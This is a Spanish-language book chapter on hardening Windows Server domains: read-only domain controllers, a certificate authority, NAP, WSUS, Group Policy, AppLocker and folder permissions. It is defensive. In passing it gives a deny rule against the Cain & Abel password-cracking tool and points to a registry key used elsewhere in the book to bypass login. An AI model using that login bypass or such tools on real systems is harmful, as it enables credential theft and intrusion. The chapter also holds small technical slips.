Para evitar los escenarios catastróficos, Microsoft propone la puesta en marcha de RODC reemplazando ciertos controladores de dominio. La ventaja de estos controladores en modo de solo lectura es que no replicarán los posibles cambios aportados en los demás controladores o en las oficinas centrales. Además, es posible elegir qué contraseñas se almacenan en el RODC, lo que persigue limitar los daños en caso de un ataque en uno de estos servidores.

a. Crear el equipo

Para crear un servidor como este, puede instalarlo como un controlador de dominio estándar, pero deberá activar el modo de solo lectura en algún momento de la instalación. Para instalarlo de esta forma, debe ser administrador del dominio. Simplifique la instalación creando un objeto de tipo RODC en la unidad organizativa dedicada a los controladores de dominio en Active Directory. Puede, gracias a la creación anterior, delegar en un usuario su instalación sin necesidad de que sea administrador del dominio. Abra la herramienta de gestión de Usuarios y equipos de Active Directory. Vaya a la unidad organizativa dedicada al controlador de dominio. En el menú Acciones o con el botón derecho del ratón, elija Crear una cuenta de controlador de dominio en modo sólo lectura. Haga clic en Siguiente y dele un nombre. Vaya a la siguiente fase, elija el sitio al que pertenecerá futuro servidor. Elija si será también un servidor DNS y catálogo global. Dé después el nombre de usuario que realizará la instalación.

b. Configurar las contraseñas no replicadas

Una vez creado el objeto en el Active Directory, podrá ser instalado por la persona en la que lo ha delegado. Ya puede elegir qué contraseña será o no replicada en este servidor. Abra la herramienta de gestión de Usuarios y equipos de Active Directory. Vaya a la unidad organizativa dedicada al controlador de dominio. Vaya a las propiedades del servidor RODC. Vaya a la pestaña Políticas de replicación de contraseñas. Observe las reglas aplicadas por defecto para las cuentas de administradores. Añada sus propias reglas para autorizar o impedir una replicación de contraseñas.

3. Instalar y configurar una autoridad de certificación

Para proteger su entorno, necesitará en muchas ocasiones recurrir a una autoridad de certificación. Esta servirá para dar a los usuarios y los equipos las bases necesarias para reconocer y cifrar las transacciones, así como los ficheros. La puesta en marcha de una solución de clave pública no es compleja desde un punto de vista técnico. Sin embargo, hay que planificar ciertos puntos importantes, como el almacenamiento de las claves, su restauración, las acciones que es preciso llevar a cabo en caso de intrusión en su PKI (Public Key Infrastructure), las acciones que es preciso llevar a cabo si un certificado se corrompe...

a. Planificación de la instalación

Le aconsejamos con insistencia que planifique correctamente la implementación de una autoridad de certificación. Encontrará los recursos necesarios para ello en el siguiente sitio web:http://blogs.technet.com/b/askds/archive/2009/09/01/designing-and-implementing-a-pki-part-i-designand-planning.aspx

A grandes rasgos, las fases de planificación son las siguientes: •

Saber para qué se va a usar su infraestructura de clave pública (HTTPS, 802.1x...).



Definir cómo los certificados serán distribuidos y renovados.



Definir una estructura que se alinee con sus necesidades (por ejemplo, un servidor raíz (root CA) y un servidor de distribución de certificados (sub CA)).



Definir la estrategia de almacenamiento de claves privadas.



Definir la estrategia de revocación de certificados.



Definir los distintos roles y la seguridad de la PKI.



Definir las reglas de mantenimiento de la PKI.



Definir la estrategia de recuperación de su PKI.



Crear agentes de recuperación que formarán parte de la estrategia de recuperación.



Crear un plan de despliegue de su infraestructura.

Si no desea seguir esta lista porque piensa que podrá atenderla más tarde, no hay problema. Le aconsejamos, sin embargo, pensar bien la definición de la estructura de su PKI. Es lo único que le será difícil modificar una vez instalada la PKI.

En la mayoría de las pequeñas y medianas empresas, una infraestructura con un servidor raíz apagado y fuera de servicio (solo sirve para dar un certificado a la sub CA) y un servidor que distribuya los certificados a los usuarios responde a las exigencias de seguridad.

El principio es simple: una primera autoridad se instala como autoridad principal, después una segunda se instala como autoridad secundaria. Una vez validada la segunda, es esta última la que distribuye los certificados a los usuarios y los equipos. El objetivo es apagar la primera, que solo sirve para recrear una nueva autoridad de certificación en caso de que la segunda sea corrompida.

b. Instalación y configuración

Una vez la estructura bien definida, podrá instalar su autoridad de certificación. En nuestro caso, y a título de ejemplo, solo instalaremos un único servidor principal con el que distribuiremos los certificados.

No todas las versiones de Windows Server soportan la modificación de los modelos de certificados. Por lo tanto, antes de instalar el rol, verifique que la versión del servidor es la mínima para realizar las modificaciones que necesitará.

Para instalar el rol, siga estos pasos: Abra la consola de gestión del servidor. Instale el nuevo rol de Active Directory Certificate Services. Añada los subroles que dan acceso a los servicios web y a el registro en línea. Deje que prosiga la instalación y acceda a las tareas de configuración del rol. Defina los roles que se han de instalar. Elija el tipo Autoridad de certificación de la empresas (integrada al Active Directory) y despuésRoot. Cree una nueva clave privada. Modifique el nombre para que este no sea el mismo que el nombre del servidor. Indique la validez del certificado de su CA; le aconsejamos aumentar el valor por defecto. Elija Autenticación integrada Windows para su CA. Elija asignar y configurar un certificado más tarde para las conexiones seguras. Después haga clic en Configurar.

La autoridad de certificación está ahora disponible para configurarla.

Antes de poder distribuir certificados, le queda publicar la lista de revocación de los certificados. Si esta lista no se publica, se arriesga a que aparezca un error: al no encontrar el sistema operativo la lista de revocación, por seguridad, este no autoriza el almacenamiento de un nuevo certificado.

Abra la consola de gestión de la autoridad de certificación. Vaya al contenedor Certificados revocados y acceda al menú Acciones - Todas las tareas - Publicar.

Ahora puede publicar los certificados. Esta instalación y la configuración están aquí resumidas. Le invitamos a planificar bien y a configurar totalmente su infraestructura de claves públicas antes de pasar a producción.

c. Modificar y añadir modelos de certificados

Una vez terminado el despliegue del rol, tiene todavía que preparar los modelos de certificados para que estos estén disponibles para los equipos y los usuarios. Tomaremos en nuestro caso el ejemplo del modelo que sirve para la firma de código. Este modelo no está definido por defecto.

Abra la consola de gestión de la autoridad de certificación. Haga clic con el botón derecho en Modelo de certificado - Administrar. Vaya a las propiedades del modelo Firma de código (Code Signing). En la pestaña de Seguridad, añada el grupo de seguridad de las personas con permisos para solicitar un certificado de firma de código. Dé a este grupo el permiso de lectura y de registro (Enroll). Vuelva a la consola de gestión de la autoridad y haga clic con el botón derecho del ratón en Modelo de certificado - Nuevo. Seleccione el modelo de firma de código.

Ahora el modelo está disponible para los usuarios que pertenecen al grupo de seguridad que ha autorizado.

d. Configurar el certificado Root en los PC internos

Si un equipo, en su almacén, no reconoce el certificado de una autoridad de certificación, aparecerá un error dependiendo del tipo de conexión. El ejemplo más conocido es el de una página web que se conecta mediante HTTPS con un certificado no reconocido. El usuario no puede entonces, por defecto, acceder al sitio web.

Para evitar este problema con los certificados instalados desde su autoridad interna, distribuiremos el root certificate con las políticas de grupo. Para ello, abra la consola de gestión de las políticas de grupo. Añada una directiva de grupo a nivel del dominio. Edítela y acceda a Configuración del equipo - Parámetros Windows - Editores aprobados. Elija en el menú Acciones, Todas las tareas - Importar. Importe los certificados de sus autoridades de certificación principal y secundaria.

Una vez la directiva aplicada a los equipos, estos reconocerán los certificados emitidos por su infraestructura de clave pública.

4. Instalar y configurar Network Access Protection

Desde Windows 2000, Microsoft ya ha propuesto herramientas para proteger las redes internas. El uso de IPsec entre los clientes y los servidores, definido como política de seguridad, es una de ellas. Microsoft ha enriquecido su gama de productos proponiendo NAP (Network Access Protection) e integrando la seguridad vía IPsec. Pero muchos otros productos, como la seguridad en DHCP y 802.1x con NAP, existen con la posibilidad de desconectar un equipo que no está actualizado o cuyo antivirus o cortafuegos hayan sido detenidos.

Microsoft Network Access Control es compatible con Cisco Network Access Control.

a. Configurar el DHCP con una lista blanca

Una de las mejoras disponible desde Windows Server 2008 R2 consiste en crear una lista de direcciones MAC autorizadas para obtener una dirección IP. No parece gran cosa, pero esta función ya complica el acceso de un equipo externo a la red, si el pirata no tiene mucha experiencia. Y esto evita además una posible intrusión cuando un invitado accede a un PC de empresa para conectarse a la red.

Para activar esta función, no necesitará instalar NAP. Basta con añadir las direcciones MAC de los equipos autorizados en la propiedad filtro (Filter) de su servidor DHCP. Una vez guardadas las direcciones, vaya a las propiedades de su IPv4 y active el filtrado en la pestaña Filtro (Filter). Este sistema puede parecer largo, ya que para cada dirección MAC debe crear una entrada en la lista. Sin embargo, puede exportar las direcciones MAC de las IP distribuidas e importarlas como filtros gracias al comando netsh o PowerShell en Windows Server 2012.

Para añadir un filtro con netsh:

netsh dhcp server v4 add filter allow 00-23-72-AB-F2-D7 "PC1" Para añadir un filtro con PowerShell:

Import-module DHCPserver Add-DhcpServerv4Filter -List Allow -MacAddress 00-23-72-AB-F2-D7 -Description "PC1" Para listar las direcciones MAC con IP asignada con netsh:

netsh dhcp server scope 192.168.0.0 show clients Con PowerShell:

Import-module DHCPserver Get-DhcpServerv4Lease -ComputerName dhcpserver.test.local -ScopeId 192.168.0.0 -AllLeases Ahora dispone de un medio relativamente simple para encontrar las direcciones IP distribuidas por su servidor DHCP y así crear filtros partiendo de estas direcciones MAC con objeto de autorizar solamente a los equipos de su red para conseguir una dirección IP.

b. Instalar los servicios para Network Access Protection

La distribución de direcciones IP es un problema relativamente simple para un pirata, sobre todo cuando ya dispone de acceso a un equipo interno. Puede saber fácilmente la lista de IP, la puerta de enlace, así como los servidores DNS que se pueden utilizar para piratear la red. Menos mal que Microsoft no limita la seguridad únicamente a la distribución de direcciones IP, aunque esta pueda gestionarse de forma automática usando la

seguridad de DHCP con NAP. Network Access Protection se puede configurar también para la seguridad vía 802.1x. Le aconsejamos, en este ambiente de seguridad, que explore también estas vías con los libros propuestos por Ediciones ENI.

Instalaremos los elementos necesarios para utilizar NAP con IPsec, que resulta ser, de los métodos propuestos, el más seguro. Añada el rol Network Policy and Access Services. Marque los subroles Network Policy Server y Health Registration Authority. Elija una autoridad de certificación. Marque la opción que solicita que el usuario esté bien autenticado en el dominio.

Los componentes NAP están ahora instalados. Solo le queda configurarlos.

c. Configurar NAP para utilizar IPsec en los servidores

Para garantizar un alto nivel de seguridad con NAP, le proponemos probar y adoptar la seguridad con IPsec. El principio es relativamente simple: si su equipo es efectivamente el que dice ser y goza de «buena salud» (antivirus, antimalware y cortafuegos activos y actualizados), y el usuario está bien autenticado en el dominio, entonces puede comunicarse con otros equipos con total seguridad. De lo contrario, se le redirige a un servidor en el cual podrá actualizarse.

En nuestro ejemplo, vamos a configurar los elementos necesarios para la puesta en marcha de IPsec con NAP. Abra la consola de gestión Network Policy Server. En la página principal, en el centro, haga clic en Configure NAP. Elija el modelo IPsec with Health Registration Authority. En la ventana siguiente, no modifique nada y haga clic en Siguiente. No indique nada en el grupo de equipos si desea aplicar la regla a todas las máquinas. Haga clic otra vez en Siguiente, hasta finalizar la configuración. En la consola principal, añada su servidor WSUS a los servidores de repositorio para permitir a los equipos no actualizados buscar las actualizaciones disponibles.

Su servidor está ahora preparado para funcionar. Sin embargo, los equipos clientes no saben todavía que deben utilizar NAP.

d. Configurar los clientes para soportar NAP

Para que NAP pueda funcionar correctamente, la mejor manera sigue siendo configurar los clientes mediante las políticas de seguridad. Para ello, abra la consola de gestión de políticas de grupo y cree una nueva directiva. Edítela y vaya a Configuración del equipo - Parámetros Windows - Parámetros de seguridad - Protección de acceso a la red - Clientes por obligación. Active el cliente por obligación IPsec. Añada a los servidores de confianza la dirección del servidor configurado anteriormente.

Una vez aplicada, la directiva forzará el uso de NAP con IPsec.

La configuración de NAP con IPsec obliga a un correcto entendimiento del funcionamiento global de NAP y de sus componentes. Si este tipo de seguridad le interesa, le aconsejamos leer la guía de despliegue de NAP de Microsoft o buscar un libro que trate del concepto y de la puesta en marcha en su totalidad. Guía de despliegue de Microsoft: http://technet.microsoft.com/library/dd314175(WS.10).aspx

5. Instalar y configurar WSUS (Windows Server Update Services)

WSUS es una herramienta de gestión de las actualizaciones de los sistemas de Windows, así como de numerosas aplicaciones de Microsoft. El servidor no solo permite distribuir las actualizaciones, sino también realizar un seguimiento de la instalación en los equipos. Esta herramienta es gratuita y forma parte de los roles que se pueden activar en el sistema operativo Windows Server 2012.

a. Instalar WSUS

WSUS se instala y configura fácilmente. Basta para ello con instalar el rol. Añada el rol Windows Update Service. Elija el tipo de base de datos (por defecto, Windows Internal Database). Indique una ruta para el almacenamiento de las actualizaciones. Arranque la primera fase de la instalación y espere a que termine. Arranque las tareas de configuración postdespliegue y espere a que terminen. Una vez la instalación finalizada, abra la consola de configuración de WSUS. Le queda: • Configurar los idiomas de las aplicaciones y sistemas operativos que se van a actualizar. •

Configurar las aplicaciones que desea mantener.



Elegir el modo de validación.



Definir y activar la planificación de la descarga.



Configurar proxy web si es necesario.

¡Cuidado! WSUS solo gestiona la actualización de aplicaciones y sistemas operativos de Microsoft. Debe tener en cuenta también los productos de otros proveedores, como Adobe y Oracle, para todos los programas instalados.

b. Configurar los clientes para utilizar WSUS

Una vez el servidor instalado y configurado, le queda configurar los clientes para que busquen las actualizaciones en el servidor WSUS en vez de Internet. Abra la consola de gestión de las políticas de grupo y cree una nueva directiva. Edítela y vaya a Configuración del equipo - Modelos de administración - Componentes de Windows Windows Update. Active la directiva Autorizar los no administradores para recibir las notificaciones de actualización. Active la directiva Activar las actualizaciones automáticas recomendadas.... Active y configure la directiva Configuración del servicio de actualización automática.

Active y configure la directiva Especificar el emplazamiento intranet del servicio de actualización de Microsoft.

Una vez la directiva aplicada en los equipos, estos buscarán sus actualizaciones en el servidor WSUS. Los equipos enviarán también al servidor WSUS su estado en relación con las actualizaciones, lo que le permitirá detectar los equipos que no se actualizan.

6. Las políticas de grupo

Para centralizar la seguridad, Microsoft ha puesto a punto las políticas de grupo. Desde Windows 2000, esta herramienta de seguridad continúa su desarrollo. Como administrador de sistema de Windows, ya conoce el uso de políticas de grupo. En este libro nos centraremos solo en una ínfima parte de lo que representa la aplicación de seguridad de estas. Algunos ejemplos ya se han explicado anteriormente. Numerosos libros de Ediciones ENI pormeno-rizan la puesta en marcha de este tipo de seguridad. Le invitamos a descu-brirlos si desea profundizar en este tema.

a. Configurar las cuentas restringidas

Manipulando ficheros falsos o pirateando su PC, un usuario puede tomar el rol de administrador de su equipo. Para aumentar las posibilidades de que los administradores sean elegidos en un PC o un servidor, es posible forzar la pertenencia a un grupo local como el de Administradores (grupo local en un equipo o servidor) y quitarle los usuarios que no deben estar presentes mediante la aplicación de una política de grupo. Cree una política de grupo y vaya a Configurar el equipo - Parámetros de Windows - Parámetros de seguridad - Grupos restringidos. Añada el grupo Administradores. Añada al grupo los usuarios autorizados a ser administradores locales, como la cuenta de administrador del dominio y de administrador de la empresa.

Una vez aplicada la directiva de seguridad, solo estos dos usuarios estarán en el grupo de Administrador local de los equipos. Los que se añadan posteriormente serán automáticamente eliminados en cuanto la directiva de grupo se vuelva a aplicar.

b. Configurar la seguridad de las contraseñas

Las contraseñas están en general en el corazón de la seguridad de un entorno cliente-servidor. Deben protegerse al máximo. Para ralentizar el descifrado de contraseñas cuanto son extraídas, se tiene que dificultar la labor al pirata, lo que igual le desanimará. Normalmente, desde Windows Vista, las contra-señas locales no se cifran con LM, sino únicamente con NTLM. Si tiene instalados muchos sistemas de Windows XP en su entorno, la política de grupo siguiente es muy necesaria: Modifique la política de grupo Default Domain Policy, Configuración del equipo - Configuración de Windows - Configuración de seguridad - Directivas locales - Opciones de seguridad. Active la propiedad Seguridad de red: no guardar los valores de resumen de nivel LAN Manager en la próxima modificación de la contraseña.

En el mismo sitio, puede proteger el envío de la contraseña en la red si su infraestructura no necesita retrocompatibilidad.

Active la propiedad Seguridad de red: nivel de autenticación LAN Manager. Elija Enviar únicamente una respuesta NTLM versión 2, Rechazar LM y NTLM.

Para impedir que los usuarios almacenen las contraseñas de acceso en los recursos locales: Active la propiedad Acceso a la red: no autorizar el almacenamiento de contraseñas e información de autenticación para la autenticación de red.

Para aumentar la dificultad de encontrar la contraseña, lo ideal es solicitar una contraseña compleja y larga a los usuarios. El hecho de pedir demasiadas veces a los usuarios cambiar su contraseña es, por el contrario, contraproducente de cara a la seguridad, ya que se arriesga a almacenarla en un sitio no apropiado. Si el usuario crea una contraseña de 9 caracteres con minúsculas, mayúsculas, números y caracteres especiales, conseguir descifrarla será una tarea muy larga y muy compleja.

Para forzar a los usuarios a que su contraseña cumpla esta complejidad: Modifique la política de grupo Default Domain Policy, Configuración del equipo - Parámetros de Windows Configuración de seguridad - Directivas de cuenta - Directiva de contraseña. Active la propiedad La contraseña debe respetar las exigencias de complejidad. Defina la propiedad La contraseña debe tener como mínimo 9 caracteres. Defina la Duración máxima de la contraseña en 120 días (4 meses), aunque en este punto deberá tener en cuenta la legislación vigente, como la LOPD (Ley Orgánica de Protección de Datos).

Para simplificar el uso de contraseñas, dar formación a los usuarios resulta muy simple: Pídales que piensen en una frase que les motive y que puedan memorizar fácilmente. Ejemplo: Me gusta la seguridad Pídales reemplazar los caracteres que quieran por la serie siguiente: • i por 1 •

E por 3 o por €



O por 0



A por @



S por 5



E por &

Podrán guardar la frase fonéticamente, consiguiendo así una seguridad óptima. La frase del ejemplo puede resultar en la siguiente contraseña: M€ gu5t@ la 5€gur1dad

¡Cuidado! Los parámetros de seguridad de contraseñas solo son tomados en cuenta por la política por defecto ligada al dominio. Sin embargo, podrá ir más lejos configurando PSO (Password Settings Object).

c. Configurar el cortafuegos

Para impedir a los usuarios usar aplicaciones en red como un comando remoto, forzaremos la utilización del cortafuegos. Empiece por probar estos cambios en equipos de test. Para aplicar reglas ajustadas, reagrupe los servidores por tipo de servicio en una misma unidad organizativa y aplique después la política adecuada. Cree una nueva directiva de grupo: Configuración del equipo - Parámetros de Windows - Cortafuegos de Windows con funciones avanzadas. Haga clic con el botón derecho del ratón en Cortafuegos de Windows con funciones avanzadas Propiedades. Para cada uno de los perfiles, configure el estado como Activado y las conexiones entrantes enBloquear. Añada reglas de tráfico entrante que correspondan a los servicios disponibles en los equipos.

Para proteger mejor el tráfico, puede bloquear el tráfico saliente y solo autorizar lo necesario. Acuérdese en este caso de autorizar como mínimo el siguiente tráfico: •

DNS



LDAP



NTLM



Kerberos



SMB



HTTPS / HTTPS si dispone de una intranet.

El cortafuegos de Windows aumenta la seguridad, pero no podrá garantizar que una aplicación saliente se conecte al servicio correcto. Debe, en la medida de lo posible, configurar la propiedad Equipo remoto de sus reglas salientes y entrantes.

d. Configurar el control de la cuenta de usuario

El control de la cuenta de usuario, comúnmente llamado UAC (User Access Control), es una herramienta interesante en términos de seguridad. El objetivo de la UAC fue, en su lanzamiento en Windows Vista, un poco mal comprendido y sobre todo muy intrusivo. Muchas veces era desactivado, aunque representaba una enorme ventaja. Para ser más claro, esta función es una de las más eficaces para protegerse de una aplicación trampa ejecutando un script.

Cuando la UAC está activada, no ejecuta las aplicaciones con permisos de administrador. Debe específicamente pedir permiso de ejecución con permisos de administrador, lo que le da una buena protección contra el pirateo de su equipo, ya que cada aplicación, aunque se modifique con fines ilícitos, solo tendrá entonces los permisos del usuario y eso aunque sea el administrador de su PC.

Desde Windows 7, Microsoft ha sabido integrarlo y ya no existen impedimentos a su utilización. Le aconsejamos, por lo tanto, que lo reactive cuanto antes, forzando también el escritorio seguro, lo que impedirá que algunos keyloggers, que se ejecutan con permisos de usuario, puedan grabar las teclas pulsadas.

Para forzar el uso de la UAC en los equipos de su empresa, use las políticas de grupo: Cree una nueva política de grupo y vaya a Configuración del equipo - Parámetros de Windows - Parámetros de seguridad - Opciones de seguridad.

Active la opción Control de cuenta de usuario: pasar al escritorio seguro en una solicitud de elevación de permisos. Configure la directiva Control de cuenta de usuario: comportamiento del invite de elevación de permisos en modo de aprobación Administrador. Elija la opción Solicitud de consentimiento para los binarios no Windows. Active la opción Control de cuenta de usuario: utilizar el modo Aprobación administrador para la cuenta de administrador integrada.

Una vez aplicada la política en los equipos, la UAC estará nuevamente activa (está activada por defecto) en los equipos donde se ha desactivado.

e. Restricción del registro y de ficheros

Para impedir la manipulación del sistema operativo, o por lo menos para hacer que esta modificación sea más compleja, veremos cómo cambiar la seguridad de las claves de registro y la seguridad de las carpetas.

La primera cosa que debe hacer es no facilitar la modificación del registro bloqueando la edición a los usuarios: Cree una nueva política de grupo: Configuración del equipo - Modelo de administración - Sistema. Active la regla Impedir el acceso a las herramientas de modificación del registro.

Puede, con la ayuda de la misma política, modificar la seguridad de las claves de registro para impedir a un usuario modificarla. Tomemos por ejemplo la clave que permite evitar el inicio de sesión vista en el capítulo Tomar el rol de administrador o de sistema de este libro. Esta clave tiene el permiso de modificación remota por un administrador. Bloquearemos a todos los usuarios la modificación, incluidos los administradores, para impedir que una aplicación trampa pueda modificar un servidor o un controlador de dominio. Cree una nueva política de grupo: Configuración del equipo - Direc-tivas - Parámetros de Windows Configuración de seguridad - Registro. Indique la ruta MACHINE\SOFTWARE\Microsoft\Windows NT\Current- Version\Image File Execution Options. Acceda a las propiedades avanzadas y seleccione Users. Otorgue el permiso Denegar en las propiedades avanzadas en el campo Establecer valor.

Si desea impedir la modificación de un controlador de dominio, acuérdese de crear una nueva política de grupo vinculada al contenedor dedicado a los controladores de dominio.

Una vez aplicada la política, los servidores y los PC estarán protegidos contra una aplicación trampa que busca modificar una clave para evitar la autenticación.

7. Configurar la restricción de software

Windows ofrece, desde Windows 2000, la posibilidad de restringir la ejecución de programas mediante las políticas de grupo. Pero desde Windows 2008 R2, Microsoft ha mejorado estas herramientas añadiendo AppLocker, que simplifica el despliegue de soluciones de restricciones de software. Este tipo de restricciones le permitirá proteger los equipos de los usuarios, pero también los servidores de terminales.

a. ¿Autorizar o bloquear por defecto?

Como ya ha visto, no resulta sencillo impedir que un usuario arranque o instale una aplicación aunque no disponga de permisos en su equipo. La pregunta, por lo tanto es: ¿debe definir una lista de aplicaciones bloqueadas o debe definir una lista de aplicaciones autorizadas?

Esta elección no es sencilla. Bloquear una aplicación tras otra puede ser complicado, sobre todo si el usuario puede crear carpetas en casi cualquier lugar de su equipo. Pero resulta ser la solución más sencilla para asegurar un buen funcionamiento del puesto de trabajo.

En el otro lado, autorizar únicamente una lista de aplicaciones le obliga a probar de forma precisa las aplicaciones utilizadas para que todo funcione perfectamente. Sin embargo, una vez construida la base, solo tendrá que añadir reglas para las nuevas aplicaciones que se han de instalar. Según como haya creado las reglas, puede, además, dejar que el usuario haga las actualizaciones de sus aplicaciones sin tener que volver a crear una nueva excepción.

En cualquier caso, este tipo de configuración necesita planificarse y estudiarse antes de cualquier implementación en producción.

b. Bloquear una aplicación

Para impedir la instalación o la ejecución de una aplicación, basta con crear una nueva regla de bloqueo.

Esta regla puede apoyarse en tres principios: •

Editor, para las aplicaciones firmadas por el creador.



Ruta, para todas las aplicaciones de una carpeta.



Hash de fichero, para un fichero en particular.

Para bloquear una aplicación específica, utilice una regla de tipo Editor si la aplicación está firmada, lo que le permitirá bloquear también las posibles actualizaciones.

Cree una nueva directiva de grupo: Configuración del equipo - Parámetros de Windows - Parámetros de seguridad - Estrategia de control de aplicación - AppLocker - Reglas del ejecutable. Cree una regla. Elija Rechazar, Siguiente y después el tipo Resumen del fichero. Pulse en Siguiente. Indique el directorio de Cain & Abel, C:\Program Files (x86)\Cain. Haga clic en Crear. No acepte la creación de reglas por defecto.

Una vez la política de grupo aplicada en los equipos, ya no será posible usar Cain & Abel. Puede aplicar este tipo de reglas para todas las aplicaciones peligrosas que hemos visto en este libro. Sin embargo, también ha visto cómo crear sus propias herramientas de hacking. Por lo tanto, la guerra de esta forma está perdida de antemano.

c. Bloquear las aplicaciones en los medios removibles

Si un usuario no puede arrancar una aplicación desde sus ficheros temporales y su escritorio, es posible que lo intente desde un CD o una llave USB. Dispone de los medios para bloquear esto.

Para impedir la ejecución de aplicaciones desde un medio removible como un disco USB, añada una regla de tipo Ruta indicando el directorio con la variable %HOT%. Para impedir la ejecución de una aplicación desde un CD/DVD, cree una regla de tipo Ruta con el valor %REMOVABLE%. Cree una nueva política de grupo: Configuración del equipo - Parámetros de Windows - Parámetros de seguridad - Estrategia de control de la aplicación - AppLocker - Reglas de ejecutables. Cree una nueva regla de bloqueo. Elija como tipo Ruta de acceso. Escriba %HOT%. Dé un nombre y pulse Crear.

Una vez aplicada, la política bloqueará el arranque de aplicaciones desde una llave USB o un CD/DVD.

d. Estrategia de bloqueo de aplicaciones

Para bloquear las aplicaciones eficazmente, no existen muchas soluciones. En un primer momento, debe limitar las posibilidades de los usuarios. Para ello, haga que el usuario no sea y no pueda ser administrador en su puesto de trabajo. Después autorice solamente a los administradores para que puedan instalar aplicaciones. Bloquee todas las rutas que no sean los directorios y subdirectorios de Windows y de Program Files.

Para poner en marcha esta estrategia para usuarios no administradores: Cree una nueva política de grupo: Configuración del equipo - Parámetros de Windows - Parámetros de seguridad - Estrategia de control de la aplicación - AppLocker - Reglas de ejecutables. Haga clic en Crear reglas por defecto. Cree después una nueva regla de bloqueo. Indique como directorio *. Añada las expresiones %WINDIR%\* y %PROGRAMFILES%\*. Dé un nombre y pulse en Crear.

Aplique el mismo principio con reglas para los ficheros MSI y de scripts. Si firma sus scripts, podrá mejorar sus ejecuciones creando una regla de editor.

Una vez aplicada la política, los programas presentes en Program Files y en el directorio de Windows arrancarán con normalidad. Todas las demás aplicaciones no podrán arrancar si un usuario no administrador las ejecuta. Los directorios temporales, el escritorio, etc., ya no serán considerados directorios peligrosos.

Acuérdese de crear escenarios de prueba para verificar que las aplicaciones profesionales siguen funcionando.

8. La gestión de los ficheros y de los permisos

Los ficheros son en general el lugar privilegiado para almacenar informaciones profesionales importantes. Las carpetas compartidas, los directorios y los documentos están, por lo tanto, en primera línea del frente cuando un ataque tiene por fin recabar informaciones.

a. Los grupos de seguridad

Al atribuir permisos a un servicio o a una carpeta, es importante no indicar un usuario directamente, sino siempre trabajar con un grupo de seguridad. Existen tres en Active Directory: los grupos de dominio local, los grupos globales y los grupos universales. Como buena práctica, se deben utilizar los grupos de la manera que sigue: Empiece por crear grupos globales con una orientación profesional y asigne las personas. Por ejemplo, puede crear el grupo GG-Vendedores y asignarle a Antonio, José y Manuel. Después cree los grupos de tipo Dominio local, donde asignará los recursos. Por ejemplo, para una carpeta compartida con nombre Ventas, cree los grupos DL-Ventas-L y DL-Ventas-E. Después asigne los permisos de lectura a la carpeta DL-Ventas-L y los permisos de lectura y escritura a la carpeta DL-Ventas-E. Solo queda asignar el grupo GG-Vendedores como miembro del grupo DL-Ventas-E para que los vendedores tengan acceso a su carpeta con permisos de escritura. Si considera que los servicios al cliente necesitan un acceso de lectura a la carpeta Ventas, basta con asignar el grupo GG-ServiciosCliente a los miembros del grupo DL-Ventas-L.

En la medida en que trabaje de esta manera, podrá cambiar los que tengan acceso a un directorio desde la consola de Active Directory sin tener que acceder a la carpeta o al recurso. Cuando llegue un nuevo empleado, le bastará con asignarlo al grupo global que le convenga para darle acceso a los recursos que necesite.

Acuérdese de usar signos distintivos entre los distintos grupos y sus roles. Por ejemplo, para un grupo de dominio local, puede utilizar como prefijo el nombre del grupo «DL», y para un grupo global use «GG». Para definir si un grupo tendrá permiso de escritura, utilice como sufijo del grupo E. Obtendrá nombres de grupo del estilo DL-NombreGrupo-E.

Los grupos universales solo sirven en la medida en que disponga de varios bosques y dominios en Active Directory. Podrá utilizar entonces un grupo universal U-Vendedores que agrupará los grupos locales de vendedores de diferentes dominios y bosques. La atribución de permisos en una carpeta se realizará siempre con un grupo de dominio local. Solo tendrá que añadir el grupo universal en el grupo de dominio local que define los permisos esperados.

b. Las carpetas temporales o Temp

Las carpetas temporales pueden ser peligrosas. Son utilizadas por los sistemas operativos, por ejemplo, cuando se descomprime un fichero zip o cuando abrimos un fichero directamente desde Outlook. El peligro no viene realmente de la escritura de un fichero en la carpeta, sino de su ejecución. Por lo tanto, en la medida de lo posible, debe impedir la ejecución de aplicaciones en las carpetas temporales.

¡Cuidado! Una aplicación usada para tareas profesionales podría también utilizar las carpetas temporales. Conviene, por lo tanto, probar correctamente el funcionamiento de sus aplicaciones con una restricción como la expuesta.

Para bloquear el arranque de un programa desde este sitio, basta con prohibir la ejecución con los permisos NTFS. Para ello, el permiso especial siguiente debe configurarse en la raíz de la carpeta temporal del usuario:

Para eliminar el permiso de forma centralizada, en algunos usuarios, existe la posibilidad de crear un script con PowerShell con el comando Set-Acl, y usar una política de grupo aplicada a nivel del usuario para su despliegue.

El siguiente script buscará las informaciones del usuario, como el emplazamiento de su carpeta temporal, el dominio y el nombre de usuario para después modificar sus permisos en la carpeta temporal:

$TEMP = Get-ChildItem env:temp $DOMAIN = Get-ChildItem env:userdomain $USERNAME= Get-ChildItem env:username $USER = $DOMAIN.Value + ’\’ + $USERNAME.Value $ACL = Get-Acl $TEMP.Value $TIPOOBJETO = [System.Security.AccessControl.InheritanceFlags]::ObjectInherit $PROPAGACION = [System.Security.AccessControl.PropagationFlags]::InheritOnly $PERMISOS = "$USER","ExecuteFile","$TIPOOBJETO","$PROPAGACION","Deny" $REGLA= New-Object System.Security.AccessControl.FileSystemAccessRule $PERMISOS $ACL.SetAccessRule($REGLA) $ACL | Set-Acl $TEMP.Value Una vez ejecutado el script, el usuario no podrá ejecutar aplicaciones en su carpeta temporal. Esto le protegerá, por lo menos en parte, de las aplicaciones trampa.

Para aplicar esta regla a todos los usuarios sin distinción, puede simplificar la configuración usando una política de grupo que modifique los permisos NTFS directamente para el grupo Users. En una directiva de grupo, cree una regla del tipo File System sobre los directorios%UserProfile% \AppData\Local\Temp. Defina los permisos Denegar - Solo archivos para el grupo Users.

En este caso, los administradores también se verán afectados por el bloqueo.

c. La compartición de ficheros

En un entorno Windows, es muy sencillo compartir una carpeta con objeto de dar a los usuarios el acceso a los documentos necesarios para realizar sus funciones dentro de la empresa. Sin embargo, no es raro ver carpetas que tengan asignados más permisos de los necesarios.

Los permisos de una carpeta compartida se dividen en dos partes: la primera hace referencia a los permisos de compartición. Es frecuente ver el grupo Todo el mundo con permisos de Control Total.

Con respecto a esta asignación de permisos se le plantean dos preguntas: •

¿Todo el mundo debe acceder a esta carpeta compartida o solamente las personas de un departamento determinado?



¿Es necesario el control total, o con asignar permisos de modificación o lectura sería suficiente (aquí se trata siempre de permisos de compartición)?

En efecto: en la mayoría de los casos, el permiso de modificación basta para autorizar el 99,9% de los usuarios. La única diferencia es que con el control total todos los usuarios pueden modificar también los permisos de la carpeta.

